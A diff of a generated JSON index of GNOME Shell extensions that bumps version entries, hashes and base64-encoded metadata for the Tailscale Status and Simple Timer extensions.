-    "46": {"version": "37", "sha256": "1pj6nv60va0v98h7f9adyzpa4jwyr1m9dnacnc2inpwv8s2s6af5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRhaWxzY2FsZS1zdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cyIsCiAgInV1aWQiOiAidGFpbHNjYWxlLXN0YXR1c0BtYXhnYWxsdXAuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzNwp9"},
-    "47": {"version": "37", "sha256": "1pj6nv60va0v98h7f9adyzpa4jwyr1m9dnacnc2inpwv8s2s6af5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRhaWxzY2FsZS1zdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cyIsCiAgInV1aWQiOiAidGFpbHNjYWxlLXN0YXR1c0BtYXhnYWxsdXAuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzNwp9"}
+    "45": {"version": "39", "sha256": "0fn1pmmm5a7zr8sr0am9ha81pyqj73dqlsz7gsnghlykkr6gvd3y", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRhaWxzY2FsZS1zdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWF4Z2FsbHVwL3RhaWxzY2FsZS1zdGF0dXMiLAogICJ1dWlkIjogInRhaWxzY2FsZS1zdGF0dXNAbWF4Z2FsbHVwLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="},
+    "46": {"version": "39", "sha256": "0fn1pmmm5a7zr8sr0am9ha81pyqj73dqlsz7gsnghlykkr6gvd3y", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRhaWxzY2FsZS1zdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWF4Z2FsbHVwL3RhaWxzY2FsZS1zdGF0dXMiLAogICJ1dWlkIjogInRhaWxzY2FsZS1zdGF0dXNAbWF4Z2FsbHVwLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="},
+    "47": {"version": "39", "sha256": "0fn1pmmm5a7zr8sr0am9ha81pyqj73dqlsz7gsnghlykkr6gvd3y", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRhaWxzY2FsZS1zdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWF4Z2FsbHVwL3RhaWxzY2FsZS1zdGF0dXMiLAogICJ1dWlkIjogInRhaWxzY2FsZS1zdGF0dXNAbWF4Z2FsbHVwLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="},
+    "48": {"version": "39", "sha256": "0fn1pmmm5a7zr8sr0am9ha81pyqj73dqlsz7gsnghlykkr6gvd3y", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk1hbmFnZSBUYWlsc2NhbGUgY29ubmVjdGlvbnMgYW5kIGNoZWNrIHN0YXR1cyBmcm9tIGRlc2t0b3AgcmVhZCBtb3JlIGF0IGh0dHBzOi8vZ2l0aHViLmNvbS9tYXhnYWxsdXAvdGFpbHNjYWxlLXN0YXR1cy9ibG9iL21haW4vUkVBRE1FLm1kIiwKICAibmFtZSI6ICJUYWlsc2NhbGUgU3RhdHVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnRhaWxzY2FsZS1zdGF0dXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbWF4Z2FsbHVwL3RhaWxzY2FsZS1zdGF0dXMiLAogICJ1dWlkIjogInRhaWxzY2FsZS1zdGF0dXNAbWF4Z2FsbHVwLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzkKfQ=="}
   }}
 , {"uuid": "simple-timer@majortomvr.github.com", "name": "Simple Timer", "pname": "simple-timer", "description": "Simple Timer is a Gnome Shell Extension that adds a Timer to the Panel.", "link": "https://extensions.gnome.org/extension/5115/simple-timer/", "shell_version_map": {
     "41": {"version": "1", "sha256": "1rmrw8nl96jficz5lmrbqxj3bama9a9q165jcz4099150brs5k6c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBtYWtlcyBpdCBlYXN5IHRvIHNldCB1cCBhIGNvdW50ZG93bi4gV2l0aCBqdXN0IGEgZmV3IGNsaWNrcywgeW91IGNhbiBzdGFydCBhIHRpbWVyIGFuZCBiZSBub3RpZmllZCB3aGVuIGl0IGhhcyBydW4gb3V0LlxuXG5UbyBzZXQgdXAgYSB0aW1lciwgc2ltcGx5IGVudGVyIHRoZSBkZXNpcmVkIHRpbWUgaW4gdGhlIGZvcm1hdCAnMDA6MDA6MDAnIG9yICcwaCAwbSAwcycuIElmIHlvdSB1c2UgdGhlIGZpcnN0IGZvcm1hdCwgdGhlIGRvdWJsZSBwb2ludHMgd2lsbCBiZSBhZGRlZCBhdXRvbWF0aWNhbGx5LiIsCiAgIm5hbWUiOiAiU2ltcGxlIFRpbWVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MSIsCiAgICAiNDIiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9NYWpvcnRvbVZSL3NpbXBsZS10aW1lci1leHRlbnNpb24iLAogICJ1dWlkIjogInNpbXBsZS10aW1lckBtYWpvcnRvbXZyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMQp9"},
     "42": {"version": "9", "sha256": "1jrvwj1z5sr4cp54mb7yjp7qahrjh8yikyi8zzi6bkfkq05bcis3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBtYWtlcyBpdCBlYXN5IHRvIHNldCB1cCBhIGNvdW50ZG93bi4gV2l0aCBqdXN0IGEgZmV3IGNsaWNrcywgeW91IGNhbiBzdGFydCBhIHRpbWVyIGFuZCBiZSBub3RpZmllZCB3aGVuIGl0IGhhcyBydW4gb3V0LlxuXG5UbyBzZXQgdXAgYSB0aW1lciwgc2ltcGx5IGVudGVyIHRoZSBkZXNpcmVkIHRpbWUgaW4gdGhlIGZvcm1hdCAnMDA6MDA6MDAnIG9yICcwaCAwbSAwcycuIElmIHlvdSB1c2UgdGhlIGZpcnN0IGZvcm1hdCwgdGhlIGRvdWJsZSBwb2ludHMgd2lsbCBiZSBhZGRlZCBhdXRvbWF0aWNhbGx5LiIsCiAgIm5hbWUiOiAiU2ltcGxlIFRpbWVyIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01ham9ydG9tVlIvc2ltcGxlLXRpbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2ltcGxlLXRpbWVyQG1ham9ydG9tdnIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="},
     "43": {"version": "9", "sha256": "1jrvwj1z5sr4cp54mb7yjp7qahrjh8yikyi8zzi6bkfkq05bcis3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBtYWtlcyBpdCBlYXN5IHRvIHNldCB1cCBhIGNvdW50ZG93bi4gV2l0aCBqdXN0IGEgZmV3IGNsaWNrcywgeW91IGNhbiBzdGFydCBhIHRpbWVyIGFuZCBiZSBub3RpZmllZCB3aGVuIGl0IGhhcyBydW4gb3V0LlxuXG5UbyBzZXQgdXAgYSB0aW1lciwgc2ltcGx5IGVudGVyIHRoZSBkZXNpcmVkIHRpbWUgaW4gdGhlIGZvcm1hdCAnMDA6MDA6MDAnIG9yICcwaCAwbSAwcycuIElmIHlvdSB1c2UgdGhlIGZpcnN0IGZvcm1hdCwgdGhlIGRvdWJsZSBwb2ludHMgd2lsbCBiZSBhZGRlZCBhdXRvbWF0aWNhbGx5LiIsCiAgIm5hbWUiOiAiU2ltcGxlIFRpbWVyIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01ham9ydG9tVlIvc2ltcGxlLXRpbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2ltcGxlLXRpbWVyQG1ham9ydG9tdnIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="},
     "44": {"version": "9", "sha256": "1jrvwj1z5sr4cp54mb7yjp7qahrjh8yikyi8zzi6bkfkq05bcis3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBtYWtlcyBpdCBlYXN5IHRvIHNldCB1cCBhIGNvdW50ZG93bi4gV2l0aCBqdXN0IGEgZmV3IGNsaWNrcywgeW91IGNhbiBzdGFydCBhIHRpbWVyIGFuZCBiZSBub3RpZmllZCB3aGVuIGl0IGhhcyBydW4gb3V0LlxuXG5UbyBzZXQgdXAgYSB0aW1lciwgc2ltcGx5IGVudGVyIHRoZSBkZXNpcmVkIHRpbWUgaW4gdGhlIGZvcm1hdCAnMDA6MDA6MDAnIG9yICcwaCAwbSAwcycuIElmIHlvdSB1c2UgdGhlIGZpcnN0IGZvcm1hdCwgdGhlIGRvdWJsZSBwb2ludHMgd2lsbCBiZSBhZGRlZCBhdXRvbWF0aWNhbGx5LiIsCiAgIm5hbWUiOiAiU2ltcGxlIFRpbWVyIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01ham9ydG9tVlIvc2ltcGxlLXRpbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2ltcGxlLXRpbWVyQG1ham9ydG9tdnIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA5Cn0="},
-    "45": {"version": "15", "sha256": "04gvg1sxdmv7gfgc7v17mp38bdlpsbn49jkhbar9svxrvavjb7qa", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01ham9ydG9tVlIvc2ltcGxlLXRpbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2ltcGxlLXRpbWVyQG1ham9ydG9tdnIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxNQp9"},
-    "46": {"version": "15", "sha256": "04gvg1sxdmv7gfgc7v17mp38bdlpsbn49jkhbar9svxrvavjb7qa", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01ham9ydG9tVlIvc2ltcGxlLXRpbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2ltcGxlLXRpbWVyQG1ham9ydG9tdnIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxNQp9"},
-    "47": {"version": "15", "sha256": "04gvg1sxdmv7gfgc7v17mp38bdlpsbn49jkhbar9svxrvavjb7qa", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01ham9ydG9tVlIvc2ltcGxlLXRpbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2ltcGxlLXRpbWVyQG1ham9ydG9tdnIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxNQp9"},
-    "48": {"version": "15", "sha256": "04gvg1sxdmv7gfgc7v17mp38bdlpsbn49jkhbar9svxrvavjb7qa", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01ham9ydG9tVlIvc2ltcGxlLXRpbWVyLWV4dGVuc2lvbiIsCiAgInV1aWQiOiAic2ltcGxlLXRpbWVyQG1ham9ydG9tdnIuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAxNQp9"}
+    "45": {"version": "19", "sha256": "07p0synkk1kv7wddjghd7p23mglazybkswv9wswc4s2iqmcdzkbr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNpbXBsZV90aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9NYWpvcnRvbVZSL3NpbXBsZS10aW1lci1leHRlbnNpb24iLAogICJ1dWlkIjogInNpbXBsZS10aW1lckBtYWpvcnRvbXZyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTkKfQ=="},
+    "46": {"version": "19", "sha256": "07p0synkk1kv7wddjghd7p23mglazybkswv9wswc4s2iqmcdzkbr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNpbXBsZV90aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9NYWpvcnRvbVZSL3NpbXBsZS10aW1lci1leHRlbnNpb24iLAogICJ1dWlkIjogInNpbXBsZS10aW1lckBtYWpvcnRvbXZyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTkKfQ=="},
+    "47": {"version": "19", "sha256": "07p0synkk1kv7wddjghd7p23mglazybkswv9wswc4s2iqmcdzkbr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNpbXBsZV90aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9NYWpvcnRvbVZSL3NpbXBsZS10aW1lci1leHRlbnNpb24iLAogICJ1dWlkIjogInNpbXBsZS10aW1lckBtYWpvcnRvbXZyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTkKfQ=="},
+    "48": {"version": "19", "sha256": "07p0synkk1kv7wddjghd7p23mglazybkswv9wswc4s2iqmcdzkbr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNpbXBsZSBUaW1lciBpcyBhIEdub21lIFNoZWxsIEV4dGVuc2lvbiB0aGF0IGFkZHMgYSBUaW1lciB0byB0aGUgUGFuZWwuIiwKICAibmFtZSI6ICJTaW1wbGUgVGltZXIiLAogICJzZXNzaW9uLW1vZGVzIjogWwogICAgInVubG9jay1kaWFsb2ciLAogICAgInVzZXIiCiAgXSwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnNpbXBsZV90aW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9NYWpvcnRvbVZSL3NpbXBsZS10aW1lci1leHRlbnNpb24iLAogICJ1dWlkIjogInNpbXBsZS10aW1lckBtYWpvcnRvbXZyLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMTkKfQ=="}
   }}
 , {"uuid": "translate-assistant@atareao.es", "name": "Translate assistant", "pname": "translate-assistant", "description": "Translate with DeepL Translator", "link": "https://extensions.gnome.org/extension/5124/translate-assistant/", "shell_version_map": {
     "42": {"version": "6", "sha256": "0rql3ax7m3pr8g5h7iadl4isa2wv2wyzl9n0nihwf2js19i6ya97", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRyYW5zbGF0ZSB3aXRoIERlZXBMIFRyYW5zbGF0b3IiLAogICJleHRlbnNpb24taWQiOiAidHJhbnNsYXRlLWFzc2lzdGFudEBhdGFyZWFvLmVzIiwKICAiZ2V0dGV4dC1kb21haW4iOiAidHJhbnNsYXRlLWFzc2lzdGFudEBhdGFyZWFvLmVzIiwKICAiaWNvbiI6ICJ0cmFuc2xhdGUtYXNzaXN0YW50LWljb24iLAogICJuYW1lIjogIlRyYW5zbGF0ZSBhc3Npc3RhbnQiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudHJhbnNsYXRlLWFzc2lzdGFudCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9hdGFyZWFvL3RyYW5zbGF0ZS1hc3Npc3RhbnQiLAogICJ1dWlkIjogInRyYW5zbGF0ZS1hc3Npc3RhbnRAYXRhcmVhby5lcyIsCiAgInZlcnNpb24iOiA2Cn0="},
@@ -5813,18 +5826,19 @@
     "42": {"version": "78", "sha256": "18v9gvcs2s6niqyal2nlqslkh8rx9b4q02n4mxfsmcm1i9bqzn4c", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkN1c3RvbWl6ZSB5b3VyIEdOT01FIFNoZWxsIFVYIHRvIHN1aXQgeW91ciB3b3JrZmxvdywgd2hldGhlciB5b3UgbGlrZSBob3Jpem9udGFsbHkgb3IgdmVydGljYWxseSBzdGFja2VkIHdvcmtzcGFjZXMuIiwKICAiZG9uYXRpb25zIjogewogICAgImJ1eW1lYWNvZmZlZSI6ICJnZW9yZ2RoIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogInZlcnRpY2FsLXdvcmtzcGFjZXMiLAogICJuYW1lIjogIlYtU2hlbGwgKFZlcnRpY2FsIFdvcmtzcGFjZXMpIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy52ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MiIsCiAgICAiNDMiLAogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRy1kSC92ZXJ0aWNhbC13b3Jrc3BhY2VzIiwKICAidXVpZCI6ICJ2ZXJ0aWNhbC13b3Jrc3BhY2VzQEctZEguZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiA3OCwKICAidmVyc2lvbi1uYW1lIjogIjQ0LjE0Igp9"},
